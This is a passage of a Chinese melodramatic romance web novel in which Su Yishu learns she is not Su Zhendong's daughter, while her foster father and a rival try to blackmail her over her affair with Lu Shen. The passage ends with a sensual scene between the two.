她现在已经退无可退,这个孩子是她的保命符,而苏亦姝的倒台则是她登天的阶梯。
若苏亦姝真的不是苏振东的亲生女儿,那真是上天对她的赏赐。
她苏可人,不仅能得到苏家的一切,还能得到陆家的。
而苏亦姝,则会一无所有,到时候,不用她出手,赵西双都会**死她!
苏可人似乎想到了那个画面,脸上的笑意怎么都止不住。
“妈,你一定要快。鉴定结果出来之前,千万别打草惊蛇。”苏可人叮嘱着,“只要拿到那张纸,苏亦姝的所有光环都会碎掉。到时候,云顶墅、总监的位置,还有苏家的股权,全是我们的!”
刘芹连连点头,仿佛已经看到了未来的荣华富贵。
“放心吧,妈这次一定办得妥妥当当。那个小**蹦跶不了几天了。”
刘芹离开病房时,脚步轻快得几乎要跳起来。
病房内,苏可人死死盯着紧闭的大门,手掌无意识地在隆起的腹部摩挲,指甲隔着单薄的病号服,在肚皮上抓出几道刺眼的红痕。
她并不在乎这个孩子,她在乎的是这个孩子能换来的筹码。
“野种……”苏可人低声呢喃,这两个字在舌尖打转,带着一股兴奋感,“苏亦姝,如果你真是个父详不明的贱种,我看陆慎还会不会像狗一样守在你身边。”
她不仅要苏亦姝丢掉工作、搬出豪宅,她还要看苏亦姝被陆家像扔垃圾一样扔进阴沟里,看那些平日里仰慕她的男人们,一个个露出嫌恶的嘴脸。
“野种……哈哈,苏亦姝,原来你连苏家的一条狗都不如!”
她拿起手机,指尖因为兴奋到颤抖,几次按错号码,好不容易才拨通了赵西双的电话。
“赵大小姐,计划有变。”
苏可人的声音压得很低,却带着一股压抑不住的激动,“我妈刚发现了一个惊天大秘密。苏振东亲口酒后吐真言,苏亦姝极有可能根本不是他的种!”
电话那头陷入了死一般的寂静,紧接着是赵西双那充满不可置信的声音。
“你说什么?确定?”
“我妈回苏家拿样本,只要鉴定结果出来,苏亦姝在陆家就彻底玩完了!”苏可人咬着牙,眼底满是毒辣,“赵西双,你不是想让她身败名裂吗?这可是老天爷都在帮忙啊。你马上过来,我们商量一下,怎么在陆老爷子的寿宴前,把这张鉴定书在所有人面前示众!”
“我马上到。”赵西双的声音里透着志在必得的狠辣。
擎天集团一楼大厅。
宽大明亮的一楼大厅,来往的精英们步履匆匆。
苏振东理了理领带,提着保温食盒走到前台,刚想直接往电梯口冲,就被身穿制服的安保人员礼貌却坚决地拦了下来。
“先生,请刷卡进入。如果没有工牌,请去前台登记。”
苏振东脸色一僵,压着火气走到前台,敲了敲大理石台面。
“我是你们技术部总监苏亦姝的父亲,我有急事找她,让我上去。”
前台小姐保持着职业微笑,在电脑上查了一下。
“不好意思,先生。苏总监的访客名单里没有您的预约。按照公司规定,我需要先内线联系总监助理,得到确认后您才能上去。”
“预约?我看我女儿还得预约?”苏振东的声音瞬间拔高,引得周围几个人侧目,“我是她亲爹!她是我养大的!你们擎天就是这么对待高管家属的?而且,我是苏氏的苏振东!”
前台小姐依旧不卑不亢,“抱歉,这是规定。请您稍等。”
电话很快接通到了三十六楼。
技术部总监办公室内,温书捂着话筒,看向正在看文件的苏亦姝。
“苏总监,您的父亲苏振东在楼下闹,说一定要见您。如果不让他上来,看样子他是准备在一楼大厅撒泼了。”
苏亦姝翻页的手微微一顿,眼底划过一抹厌恶。
她太了解苏振东了,为了钱,他什么脸面都能豁出去。
现在正是上班高峰期,若他在大厅闹起来,到时候只会落人口舌。
“让他上来。”苏亦姝冷冷开口,“告诉前台,只给他半小时。”
得到许可后,苏振东才被放行。
他狠狠瞪了一眼那个拦他的保安,整理了一下微乱的西装,提着食盒趾高气昂地走进了电梯。
三十六楼,技术部。
电梯门打开,苏振东脸上的阴郁瞬间切换成了一副慈父般的笑容。
他刚才在楼下还特意在外卖软件上点了二十几杯星巴克,这会儿正好送达。
“哎呀,各位都在忙呢?辛苦了,辛苦了。”
苏振东招呼着外卖员把咖啡分发下去,姿态做得极足。
“我是亦姝的父亲。这孩子刚上任,工作肯定繁重,有时候脾
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气急点,大家多担待。这是请大家喝的下午茶,不成敬意。”
俗话说**嘴软,原本对苏亦姝颇有微词的员工们,看着这位满脸堆笑、还亲自送汤送咖啡的老父亲,心里的天平不禁歪了一下。
“苏总监的父亲还挺平易近人的啊。”
“就是,看着挺憨厚的,怎么苏总监对他那么冷淡?”
“你们不知道吧,眼前这位,可是苏氏的董事长。”
“我知道我知道,苏总监原本就是苏氏的大小姐……”
“啧,这苏总监原本就是高身份出身啊,难怪能力那么强。这苏董,还真平易近人啊。”
马向东手里端着刚分到的咖啡,靠在门边,似笑非笑地看着这一幕。
“苏董真是爱女心切啊,苏总监在里面呢,温助理,还不快带苏董进去?”
温书走过来,公事公办地侧身。
“苏董,这边请。”
苏振东拎着那个“充满爱意”的食盒,在众人羡慕的目光中,昂首挺胸地走进了总监办公室。
门刚关上,隔绝了外面的视线,苏振东脸上的笑容立即就变了,瞬间垮了下来。
他把食盒重重往茶几上一搁,那动静大得里面的汤汁都洒了出来。
“见你一面还真难啊,苏总监。”
苏振东阴阳怪气地开口,一屁股坐在沙发上,“还得经过前台层层盘查,你这是防贼呢,还是防你亲爹?”
苏亦姝坐在办公桌后,连头都没抬,钢笔在文件上签下名字,声音清冷。
“擎天有擎天的规矩,这里不是菜市场,也不是苏家。如果你是来摆父亲架子的,现在就可以走了。”
“你!”苏振东被她这副态度激得火气直冒,但想到公司那个大窟窿,他又硬生生压了下来。
他搓了搓手,换上一副父慈子孝的语气。
“亦姝啊,爸不是来跟你吵架的。你看,这汤是你小时候最爱喝的,爸特意让人炖了给你送来。其实爸今天来,是有个难处……”
苏亦姝合上文件,终于抬起头,那双眼睛平静得仿佛一眼就能洞察他的心思,直直地看着他。
“苏氏要破产了,需要两百个亿,对吗?”
苏振东一愣,随即连连点头。
“对对对!还是你有孝心,关注着家里的生意。亦姝啊,你看你现在是陆家的大少奶奶,又是擎天的高管,这点钱对你来说就是动动嘴皮子的事。你能不能……”
“不能。”
第一百零二章 比狠?谁怕谁
苏亦姝甚至没等他说完,就干脆利落地拒绝了。
“你……”
苏振东脸上的表情僵住,怎么也没想到,苏亦姝竟然会拒绝地这么干脆,丝毫脸面都不顾。
“苏振东,你的公司是怎么垮的,你自己心里清楚。当初我劝你不要跟赵西双后面掺和城南的那个项目,你不听,还说我眼皮子浅。现在烂摊子收拾不了了,想起来找我这个女儿了?”
苏亦姝冷笑一声,“别说我没这两百个亿,就算有,我也不会填进那个无底洞。”
“苏亦姝!你见死不救是不是?”
苏振东猛地站起来,伪装彻底撕裂,面目变得狰狞,“我是你老子!我的钱将来不都是你的吗?你现在帮我一把怎么了?”
“你的钱?”苏亦姝仿佛听到了什么笑话,“你除了留下一屁股债,还有什么?而且,我记得很清楚,之前你就已经罢免了我在苏氏的一切职务,也收回了我的一切。”
“好好好!你个白眼狼!”苏振东气急败坏,他看软的不行,直接开始撒泼。
他几步冲到办公室门口,一把拉开大门,对着外面正竖着耳朵听八卦的员工们大声吼道:
“大家都来看看啊!来看看这个光鲜亮丽的苏总监是个什么东西!”
外面的员工被吓了一跳,纷纷看了过来。
苏振东指着办公室里的苏亦姝,唾沫横飞。
“我含辛茹苦把她养大,供她出国读书!现在她出息了,住豪宅、当总监,亲爹在外面被债主逼得都要**了,她竟然一分钱都不肯出!这种冷血无情的不孝女,也配当你们的领导?”
整个办公区一片死寂,只有苏振东歇斯底里的咆哮声在回荡。
苏亦姝坐在位置上,看着门口那个像小丑一样的男人,心底最后那一丝对于“父亲”这个词的期待,彻底化为了灰烬。
她按下内线电话:“保安部,有人**,上来带走。”
苏振东听到她叫保安,更是怒火攻心,他疯了一样冲向苏亦姝,扬起手就要打。
“你还要赶我走?我打死你这个不孝女!”
温书眼疾手快,带着两个男员工冲上去拦住了他。
“放开我!我是她老子!”苏振东拼命挣扎,领带歪了,头发乱了,整个人狼狈不堪。
就在保安架着他往外拖的时候,苏振东死死盯着苏亦姝那张冷漠的脸,脑子里那根名为理智的弦彻底崩断。
他扒着门框,用尽全身力气,恶毒地吼出了那句藏在心底多年的话:
“苏亦姝!你真以为自己是个什么金枝玉叶?我告诉你!当初我就不该听那个**的话把你抱回来!早知道你这么冷血,我就该让你烂在外面!你这个没人要的野种!”
“野种”两个字一出,在安静的办公区瞬间引起所有人的震惊。
所有人的目光瞬间变了,震惊、探究、鄙夷……齐刷刷地看向苏亦姝。
苏亦姝放在桌下的手猛地攥紧,指甲深深嵌入掌心,面上却依旧维持着镇定。
苏振东被强行拖进了电梯,那咒骂声依旧……
擎天大厦楼下。
苏振东像条死狗一样被保安扔出了大门。
他狼狈地从地上爬起来,还没来得及拍身上的灰,一辆黑色的保姆车悄无声息地滑到了他面前。
车窗降下,露出赵西双那张妆容精致却透着算计的脸。
“苏伯父,这滋味不好受吧?”
赵西双摘下墨镜,看着苏振东这副落魄样,眼底闪过一丝嫌弃,但语气却充满了诱惑。
她递出一张支票,那是五百万,对于现在的苏振东来说,是救命稻草。
“苏亦姝既然不认你,那你也没必要替她守着什么秘密了。”赵西双晃了晃手里的支票,“上车吧,只要你配合我做一个小小的亲子鉴定,这钱就是你的。而且……我能帮你拿回属于你的一切,让那个不孝女跪在你面前求饶。”
苏振东盯着那张支票,眼神赤红。
就在他准备去接的时候,突然,他眼眸一转。
站了起来,拍了怕身上的灰,一副不在意地模样。
“赵西双,我苏氏是如何变成现在这个样子的,你心里清楚。若不是你故意的,我会跟着掺和那个项目?说到底,都是因为你。现在,竟然就想用这五百万,就想从我这里获利?呵,真是做梦!”
赵西双面色一变,看向苏振东的眼神,一闪而过的杀意和鄙夷。
但是,她并未发作,而是继续诱哄着。
“苏伯父,我知道,那个项目,是我的问题,当初没估量好。这件事,我赵氏也跟着倒霉了,你也是知道的。你先上车,有什么话,我们车上好好说……”
苏振东瞧着赵西双,冷嗤一声。
“上车就不必了,我苏振东还没沦落到,需要坐别人的车。”
说完,苏振东朝着自己的车走去。
赵西双看着苏振东上了车,眼底一派愤怒。
“苏振东,你这装模作样给谁看?我倒要看看,你这条死狗,还能强撑到什么时候……”
车内烟雾缭绕,苏振东盯着后视镜里,自己那张老态龙钟的脸,眼底的狠戾压过了狼狈。
他了解赵西双,那个女人拿他当枪使;
他也了解苏亦姝,这个女儿骨子里比谁都硬。
刚才他没接那张支票,不是因为骨气,而是因为他看到了赵西双眼底那抹急切。
在商场滚了半辈子,他最清楚:谁先露了底牌,谁就是待宰的羔羊。
赵西双想要做什么?他不清楚,但他敢赌。
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>这女人对陆慎的执念已经成了疯魔,只要能弄死苏亦姝,她估计会不惜一切代价。
苏振东冷冷地看了眼窗外的保姆车,直接发动了引擎。
他得晾着她。
只有让她急了,再次找上自己,那么,主动权就在自己手里了。
回到别墅,刘芹不在。
他拿起手机,给苏亦姝打了个电话。
电话响了很久才被接通,苏亦姝清冷的声音传来。
“有事?”
“苏亦姝,别跟我在这儿摆总监的谱。”
苏振东也懒得再伪装什么慈父孝子,声音压得很低,带着一股阴狠,“赵西双刚才找过我了,给我五百万支票。你觉得,她这是有什么目的?”
电话那头沉默了一瞬。
苏振东阴笑一声,继续道:“你说,要是陆家知道他们选的这个长房孙媳妇,背地里跟陆慎上了床,打的火热,你觉得,你的那个位置还能坐得稳吗?陆老爷子最重名声,他能容你?”
“你想怎么样?”
“我要两百亿。只要钱到账,我保证,你跟陆慎在一起的事情,永远不会有人知道。你继续当你的陆家少夫人,我拿我的钱。不然,我就把你跟陆慎亲热的照片亲自送到陆老爷子的桌上,再顺便告诉媒体,你苏亦姝为了上位,如何勾引自己小叔子的。”
苏亦姝冷笑一声。
“那你尽管去……我倒要看看,是你先死,还是我先死。”
紧接着,电话里传来忙音。
苏振东一脸怒气地砸了手中的手机。
“孽女,敢跟我甩脸色,还跟我摆谱,仗着我不敢?好,你等着……我要让你知道,到时候,是怎么成万人唾弃的……连陆慎都救不了你!”
恰好这个时候,刘芹回来了,也听到了苏振东刚才地怒骂声。
看到地上砸碎的手机,愣了下。
紧接着,刘芹心疼地绕过地上的碎片,走到苏振东身后,轻柔地替他按压着紧绷的肩膀,声音温软。
“老苏,跟那种白眼狼动气不值当。她现在攀上高枝了,眼里哪还有我们?你刚才说陆家……难道她真的和陆慎……”
苏振东冷哼一声,身体重重靠在沙发背上,眼中精光闪烁。
“没名没分地睡在一起,陆慎那是逗弄玩物。可苏亦姝当真了,她怕陆家那些老古董知道这件事。这就是她的命门。”
“那两百亿,她真能拿出来?”刘芹试探着问,眼神里藏着贪婪。
“她拿不出,陆慎拿得出。”他清楚陆慎对苏亦姝的在意。
苏振东闭上眼,手脑海里快速地盘算着。
“但我现在改变主意了。陆慎这块骨头太硬,苏亦姝又是个不见棺材不掉泪的。我们要想两头得利,还得靠赵西双那个蠢女人。”
第一百零三章 卖你个消息,五千万
苏振东在心里盘算得非常稳当:
苏亦姝这边,他握着她私情的丑闻,这是长线勒索的筹码。至于另一个筹码,苏振东还在心里掂量着。
而赵西双那边,她想要的是苏亦姝的身败名裂,又不能自己亲自动手,那就只能依赖于他这边。
“两头吃,才叫生意。”苏振东睁开眼,露出一抹残忍的笑。
刘芹看着苏振东脸上的笑,忍不住打了个哆嗦。
想到自己和女儿合谋的事情,若是被苏振东知道了,依照他的脾气,还不定要怎么发怒。
可是,她不能全权依赖于苏振东。
想到这,神色更坚定了几分。
第二天,苏振东没等来苏亦姝的妥协,却等到了公司债主登门逼债的电话。
“苏总,不好了!银行那边突然提前收贷,还有几个供货商不知从哪听说的消息,说您和苏总监彻底闹翻了,现在正带着人往咱们公司总部赶,说是今天拿不到钱就搬东西!”
电话那头秘书的声音十分焦急,带着一股绝望。
苏振东握着手机的手猛地收紧,手背上青筋暴起。
他算准了苏亦姝会怕丑闻,算准了赵西双会急于求成,唯独没算到这些债主动作快得不给他留半分喘息的机会。
“慌什么!告诉他们,我正在跟陆家谈融资,下午就有结果!”苏振东厉声呵斥,随即狠狠挂断了电话。
他站在客厅里,眼神阴鸷。
原本想晾着赵西双抬抬身价,可现在,火已经烧到了屁股后面。
“老苏,出什么事了?”刘芹站在一旁,手里紧紧攥着自己的皮包,眼神闪烁不定。
“能出什么事?一群见利忘义的小人!”
苏振东啐了一口,转头看向刘芹,语气狠辣,“你现在联系可人,让她探探陆家那边的口风。苏亦姝那个孽女既然不给活路,那就别怪我把事情做绝。”
刘芹唯唯诺诺地点头应下,转身回房时,眼底却掠过一抹狠色。
她知道苏振东已经到了**之末,这两头吃的生意,弄不好就是鸡飞蛋打。
她必须在苏氏彻底崩盘前,给女儿和自己找好退路。
另一边,赵西双在保姆车里等了整整一个上午。
烟灰缸里塞满了带口红印的烟头,她的耐性已经磨到了极限。
就在她考虑要不要带人直接闯进苏家别墅时,苏振东的电话终于打了过来。
“赵小姐,五百万确实少了点。”
苏振东的声音在电话里显得有些沙哑,却带着一种冷静。
“我要五千万。”
“苏伯父,你这胃口涨得可真快。”赵西双冷笑一声,指甲掐着真皮扶手,“五千万?你真当我是开银行的?”
“赵小姐,一个苏亦姝,你若是觉得不值这五千万,那陆慎呢?”苏振东压低声音,语气里满是诱导,“她和陆慎那些见不得人的勾当,你觉得,这些东西值不值五千万?”
赵西双皱眉。
斟酌了几秒,然后说道:“我得到一个消息,不知道可不可靠,需要苏伯父确定一下。”
“你说。”
“听说,苏亦姝不是你女儿……”
这话一出,苏振东的呼吸明显一滞。紧接着,苏振东地声音传来。“没有的事,她就是我女儿。”
“哦?是吗?那你在擎天技术部说的那句话,是什么意思?可是不少人都听到了呢。”赵西双心中已经确定了。
苏振东说道:“那是我口不择言,在气头上说的话……赵小姐,我还是那句话,五千万。”
赵西双皱紧了眉头,没想到这个时候了,苏振东这个老东西,竟然还紧咬着不松口。
但是,陆慎和苏亦姝的私情,那是她心头最深的一根刺。
“下午三点,南城仓库见。”赵西双咬牙切齿地挂断了电话,随即对司机吼道,“开车!”
擎天集团,技术总监办公室。
苏亦姝看着玻璃窗上倒映出的自己,神色冷寂。
她了解苏振东,那个男人虽然自私贪婪,但并不蠢。
在技术部那句“野种”或许会说成是口误,但以他的性格,绝对不是口误,所以……她很可能真的不是苏振东的女儿!
若真是这样,那她的父亲是谁?母亲,是贺婉吗?
是的,母亲就是贺婉。因为在妈妈倒下去之后,为了给她匹配血型,她们做过DNA鉴定,结果是母女。
也就是说,自己的父亲,另有其人。
想到这,苏亦姝没有半点悲伤,反而有些激动和庆幸。
一想到跟苏振东那种卑劣的人有血缘关系,她就觉得膈应的慌。
而赵西双对陆慎的偏执已经近、乎癫狂,这
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两人凑在一起,唯一的共同目的就是要把她彻底撕碎。
“两头吃……”苏亦姝无声地呢喃,眼底掠过一抹寒芒。
她很清楚,苏振东手里一定握着她和陆慎私情的一些蛛丝马迹。
在陆家,名声大过天。
陆老爷子可以容忍陆慎的疯,却绝不会容忍叔嫂之间这种触碰伦理底线的丑闻。
苏亦姝缓缓拿出手机,指尖在屏幕上停留了很久。
她本想靠自己的手段解决苏氏,但现在苏振东和赵西双联手,性质就变了。
终于,她指尖微动,拨通了那个号码。
电话只响了一声就被接起,那头传来陆慎低沉且带着磁性的笑声,似乎并不意外她的来电。
“大嫂,难得。是在云顶墅住得不习惯,想念我了?”
听着他那副不正经的调笑,苏亦姝握着手机的手微微收紧,声音冷静得听不出情绪。
“苏振东约了赵西双,下午三点,南城仓库。”
电话那头的笑声戛然而止,但也仅仅一瞬,也就恢复了常态。
陆慎语气冷了下来,带着一股戾气。
“他想卖什么?是你的身世,还是……我?”
“可能……都有。”苏亦姝走到桌边,指尖点在冰冷的桌面上画着圈圈。
“他想要五千万。赵西双已经答应见面了。陆慎,我不想在这个时候看到任何关于我和你的丑闻出现在媒体上。苏振东已经是穷途末路了……”
陆慎冷嗤一声,“他手里能有什么证据?无非是几张模糊的照片或者一段捕风捉影的猜测。大嫂,你是在担心我,还是在担心你的名声?”
“我只是觉得,没必要弄出这么多的麻烦来……”苏亦姝没理会他的挑逗,“陆慎,这件事你出面最合适。”
“可以。”陆慎的声音突然变得暧昧而危险,他压低了嗓音,每一个字都像是贴着她的耳廓磨过,“不过,求人办事总得有酬劳。大嫂打算拿什么还我?嗯?”
苏亦姝深吸一口气,强压下心头的悸动,淡淡道:“事成之后再说。如果你不去,我也会用我自己的方式解决……”
“南城仓库是吗?用不着你亲自动手……会脏了你的手。”
挂断电话后,陆慎直接起身,冷嗤一声:“真是不知所谓,好日子过多了,非要找点刺激!”
第一百零四章 不管你是谁的种,你只是我的
下午两点五十,南城旧仓库。
空气中弥漫着一股铁锈和霉味。
苏振东提前到了,他坐在一张破旧的木椅上,身边放着一个黑色的皮包。
他不停地看着手表,额头渗出的汗珠暴露了他内心的不安。
这五千万是他的救命钱,也是他翻盘的最后机会。
就在这时,几辆黑色的轿车停在了仓库门口。
赵西双带着几个保镖,踩着高跟鞋走进了这个破旧的地方。
她捂着鼻子,眼底写满了嫌弃,看着苏振东的眼神有些不屑,但还是有些收敛。
“钱呢?”苏振东猛地站起来,死死盯着赵西双身后的保镖手里提着的黑箱子。
“苏伯父,你要的东西在箱子里。但我想要的东西,你带了吗?”赵西双冷声问道。
苏振东从黑色皮包里掏出一叠照片,以及苏亦姝和陆慎在某些私密场合进出的照片。
“这里面的东西,足够让陆老爷子把苏亦姝赶出家门。”苏振东阴恻恻地笑着。
赵西双伸手要去拿,苏振东却猛地收回手:“钱,先验钱。”
赵西双示意保镖打开箱子。
然而,就在箱子打开的一瞬间,仓库外突然传来了刺耳的刹车声。
紧接着,陆慎逆着光走进来,手里漫不经心地**着一把锋利的**。
“五千万买一个丑闻,赵小姐,你的生意经什么时候变得这么差了?”
看到陆慎的那一刻,苏振东吓得腿一软,手里的照片散落了一地。
而赵西双的脸色,瞬间惨白如纸。
仓库内的空气在陆慎踏入的那一刻彻底凝固。
陆慎每走一步,皮鞋叩击水泥地面的声音,都像是踩在两人的心尖上。
他微微偏头,目光扫过地上散落的照片,微微挑眉。
弯下腰,一张一张捡起那些照片。
“阿慎……”赵西双声音发颤,下意识后退半步,手心里全是冷汗。
那种从骨子里涌出来的恐惧,让她连呼吸都变得小心翼翼。
“赵小姐,这钱,你敢给吗?”
陆慎在两人面前站定,**在手中有一下没一下的甩着。
“我……我只是……”赵西双脸色惨白,刚才那股志在必得的狠劲荡然无存。
她太清楚陆慎的手段,这个男人护短的时候像疯子,**的时候像修罗。
这两面,她恰好都见过。
陆慎没理会她的狡辩,转头看向缩成一团的苏振东。
“苏董,两百亿谈不拢,改卖五千万了?”
陆慎用**挑起一张照片,上面正是他在海边别墅强吻苏亦姝的侧影,虽然模糊,但熟悉的人一眼就能认出。
“陆、陆少……”苏振东牙齿打颤,喉咙里发出咯咯的响声,“我这也是被逼无奈,苏氏要破产了,亦姝她见死不救,我……”
“所以你就拿我当筹码?”陆慎猛地出手,**擦着苏振东的大腿根部狠狠钉入木椅,刀柄颤动不止。
“啊!”苏振东惊声惨叫,整个人瘫倒在地,一股骚味在大腿根部蔓延开来。
“苏振东,你真觉得,凭这几张废纸,就能威胁到我?”
陆慎缓缓起身,眼底的阴鸷浓得化不开,“还是你觉得,陆家的人,是你这种废物可以算计的?”
赵西双见状,深知今天讨不了好,强撑着胆子开口。
“阿慎,我也是为你着想,苏亦姝这个女人心机太深,她勾引你不过是为了……”
“滚。”
陆慎只回了一个字,语调没有任何起伏,却透着令人毛骨悚然的杀意。
赵西双脸色一阵青一阵白,嫉恨与恐惧交织在胸口,让她几近窒息。
她死死咬着唇,最后看了一眼地上的苏振东,连那箱钱都顾不上,带着保镖仓促逃离。
仓库里只剩下苏振东绝望的喘息。
“陆少……陆总,饶命……我错了,我再也不敢了!”
苏振东爬到陆慎脚边,老泪纵横,哪里还有半点苏氏掌门人的样子。
“饶命?”陆慎低头,眼含讥讽,“苏振东,你最错的一件事,就是动了不该动的心思。”
就在这时,仓库门口传来一阵轻稳的脚步声。
苏亦姝站在光影交界处,一身黑色风衣衬得她愈发清冷。
她看着跪在地上狼狈不堪的苏振东,眼底没有任何波动,仿佛在看一个陌生人。
“解决了?”她看向陆慎,声音平淡。
陆慎收起**,眼中的戾气在看到她的那一刻消散了大半,取而代之的是温柔地宠溺。
他走过去,当着苏振东的面,长臂一揽,将苏亦姝死死扣在怀里。
“大嫂,你这亲爹不听话,非要往死路上撞。”陆慎贴着她的脸颊,笑容玩味,“你说,我是该把他沉了江,还是让他去牢里待一辈子?”
苏振东看清了苏亦姝,像是抓到了最后一根救命稻草。
“亦姝!救救爸爸!我错了,我真的错了!”
苏亦姝垂眸,看着这个曾不可一世、如今却如丧家之犬的男人,唇角勾起一抹极淡的嘲弄。
“苏董,刚才赵西双问你,我到底是不是你女儿。”
苏亦姝微微推开陆慎,走到苏振东面前,弯腰捡起那张照片,一字一顿地问道:
“现在,我也想听句真话。我是吗?”
苏振东面如死灰,看着苏亦姝那双像极了贺婉却又更加冷漠的眼睛,心理防线彻底崩塌。
“你不是……你真的不是!”
苏振东瘫坐在水泥地上,像是被抽干了所有力气,声音嘶哑得厉害。
“你以为我想养你这个野种?要不是贺婉求我,要不是她手里的那些技术能救苏家,我一眼都不想看到你那张脸!”
苏亦姝站在原地,脊背挺得笔直。
听到这个赵西双一直打
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探的秘密,她脸上竟没有露出一丝一毫的崩溃,唯有那双瞳孔,异常平静和冷漠。
平静,平静得让人心惊。
陆慎瞳孔微颤,这种平静比嚎啕大哭更让他感到心尖被针扎一般。
他上前一步,长臂揽住她的肩头,掌心的温度隔着风衣透过去,那是他无声的支撑。
“如果你敢撒谎,我会让你死得很精彩。”陆慎盯着苏振东,双眼阴鸷狠戾。
“不敢了……我不敢了……”苏振东大口喘着气,眼神涣散,似乎是在回忆当**情……
“当年贺婉怀着你回来,直接拿着贺家的核心技术,跟我谈判,让我娶她,并且,认下她肚子里的你。她说是为了躲仇家,只要我肯认你,她就帮我把苏氏做大。那一晚,她签了合同,把她名下的所有技术专利都转到了苏氏名下,条件只有一条——我要护你成年,绝不能让你知道自己的身世。”
苏亦姝垂在身侧的手微微颤动。
“我的生父是谁?”她冷声开口,语调没有起伏,像是在询问一个无关紧要的陌生人。
“我不知道!我真的不知道!”苏振东疯狂摇头,努力解释着。
“你妈妈贺婉你又不是不知道,那个女人嘴严得很,刀架脖子上都不会说的。她只说,那个人的名字是个禁忌,一旦传出去,不仅你活不了,整个苏家都会陪葬!”
苏亦姝闭上眼,自嘲地勾了勾唇角。
“禁忌……”苏亦姝重复着这两个字,眼神愈发幽深。
“亦姝,该交代的我都交代了,看在我养你这么多年的份上,放过我吧……”苏振东又开始卑微地乞怜。
“养我?”苏亦姝睁开眼,低头看向他,眼底是极致的冷漠,“你拿我妈的命换了苏家的荣华富贵,又拿我的婚姻换了陆家的注资。苏振东,这笔账,还没算完。”
陆慎察觉到怀里女人的紧绷,心底的疼惜几乎要溢出来。他转头看向阿信,眼神阴鸷。
“把他带走,找个干净的地方关起来。在我想清楚怎么处理他之前,别让他**,也别让他太舒服。”
“是,爷。”阿信带人上前,像拖死狗一样把苏振东拖了出去。
仓库再次陷入死寂。
陆慎扳过苏亦姝的肩膀,强迫她直视自己。他看着她那张冷白如瓷的小脸,手指轻抚过她紧抿的唇。
“难受就哭出来,在我面前,不需要装。”
苏亦姝抬眼看他,甚至还扯了扯嘴角,露出一抹极其牵强的笑。
“为什么要哭?知道自己不是他的女儿,我反而觉得庆幸。身体里没流着他的血,我很开心。”
陆慎没说话,猛地低头,不由分说地吻住了她的唇。
这个吻极狠,带着掠夺和安抚,直到尝到了淡淡的咸腥味,他才微微拉开距离,额头抵着她的。
“苏亦姝,不管你是谁的种,你只是我的。”
第一百零五章 床伴?服务不错
黑色大奔在空旷的公路上疾驰。
驾驶位与后座之间的黑色隔板缓缓升起,将这方寸之地彻底隔绝出来。
车窗外是急速后退的荒野,车内,苏亦姝靠在皮椅上,微微仰着头,胸口起伏得厉害。
她闭着眼,可刚才苏振东那句“你不是我女儿”的余音,仍像阴魂不散的咒语,一遍遍撕扯着她紧绷的神经。
这种感觉很荒谬。
她自诩理智冷静,却在这一刻,像个迷失在深海里的溺水者。
陆慎盯着她。
她越是安静,他就越是烦躁。
他扯开领带,随手扔在一旁,修长的手指扣住她的下巴,强迫她睁眼看他。
“苏亦姝,你是死的吗?”
他的声音极低,掠过她的耳际,带着灼人的热度。
苏亦姝睁开眼,那双平时清冷如雪的眸子此时溢满了破碎的潮红。
她没说话,只是突然伸手,冰凉的指尖直接探入陆慎的衬衫领口,死死抵住他的心口。
陆慎的呼吸猛地一滞。
“陆慎,我没家了。”她开口,嗓音沙哑得不成样子,带着一些少见的破碎感,“我连那点可笑的血缘都没了。”
陆慎看着她这副模样,心底那道防线瞬间崩塌。
他猛地用力,将她整个人提起来,跨坐在他腿上。
“你还有我。”
他狠狠吻住她,不是平时的掠夺,而是一种暴戾的宣泄。
苏亦姝没有像往常那样挣扎,她反而主动攀附住他的肩膀,指甲隔着薄薄的衬衫深深陷入他的皮肤里。
她需要这种痛感,需要陆慎身上这种霸道的气息,来填补内心那个巨大的空洞。
车厢内的温度急速攀升。
苏亦姝黑色的风衣凌乱地堆叠在腰间,衬得肌肤愈发冷白。
陆慎的手掌粗粝地摩挲过她的脊背,每到一处都激起一阵颤栗。
“想要吗?”陆慎盯着她,眼底的情欲呼之欲出,浓得吓人。
苏亦姝凑到他耳边,牙齿轻啮住他的耳垂,呵气如兰:“陆慎……别放开我。”
这一声呢喃成了最后的**。
陆慎的理智彻底断线。
他翻身将她压在后座宽大的皮椅上,动作急切而失控。
两人在这一方狭窄的天地里抵死缠绵,极致的拉扯让空气都变得稀薄。
苏亦姝仰起颈脖,像是一只濒死的天鹅。
她承受着他的一切,甚至在极致的快意中捕捉到了一丝从未有过的快感。
这种背德的、荒唐的、见不得光的纠缠,竟成了她此刻唯一的慰藉。
在这个密闭的后座里,没有什么苏家,没有什么身世,更没有什么陆家少夫人……
只有两个在黑暗中疯狂汲取彼此温度的灵魂。
暧昧的水声和细密的喘息交织在一起,陆慎掐着她的腰,力度大得仿佛要将她揉碎进自己的骨血里。
“苏亦姝,你是我的。”他在她颈窝处嘶哑地宣誓,“这辈子,下辈子,你都跑不掉。”
苏亦姝失神地看着车顶,汗水顺着额头滑落,没入发鬓。
她伸手扣住陆慎的后脑,主动仰头索吻。
“那就……一起烂掉吧。”
这一刻,欲念高涨,暧昧滋生,用最原始的方式相互救赎,欲罢不能。
直到夕阳的余晖彻底消失在公路尽头,车内的疯狂才渐渐平息,只剩下频率一致的、剧烈的喘息声,在寂静的空间里久久回荡。
车厢内,那股粘稠而滚烫的气息并未随着动作的停歇而散去。
陆慎埋首在苏亦姝的颈窝,修长的手指仍紧紧扣着她的细腰。
“苏亦姝……”陆慎突然低低地唤了她一声。
他撑起身子,眼底的占有欲并未平息,反而因为刚才的纠缠,染上了一层更缱绻的温柔。
他动作轻柔地拨开她散落在脸颊上的湿发,描摹着她红肿的唇瓣。
苏亦姝失神地望着他,那双总是盛满理智的眸子此刻焦距涣散。
“陆慎,我是不是很脏?”
她轻声问,语气里透着一种破碎后的自弃,“身世是假的,身份是禁忌的,连现在这种样子……也是见不得光的。”
“闭嘴。”
陆慎眼神骤然冷了下去,随即低下头,极其温柔却又带着惩罚性地在那处咬了一口。
“不许这么说自己。”
他盯着她,另一只手缓缓下滑,穿过那层凌乱的衣物,不带一丝情欲,却带着安抚感,按在她心跳处。
“你是谁的种不重要,我只知道,你此时所有的一切,都是我的。”
说着,再次俯身压了上来。
这一次,没有了先前的暴戾,动作变得极尽缠绵。
他细细密密地亲吻着她的眉心、眼睑、鼻尖,最后落在那截脆弱的天鹅颈上,每一处吮吻都带着一种虔诚。
苏亦姝只觉得浑身力气都被这种温柔卸掉。
这种被全盘接纳、被极致宠溺的感觉,比那**般的索取更让她沉沦。
她仰起头,无意识地发出一声轻吟,让陆慎心底最后一点理智荡然无存。
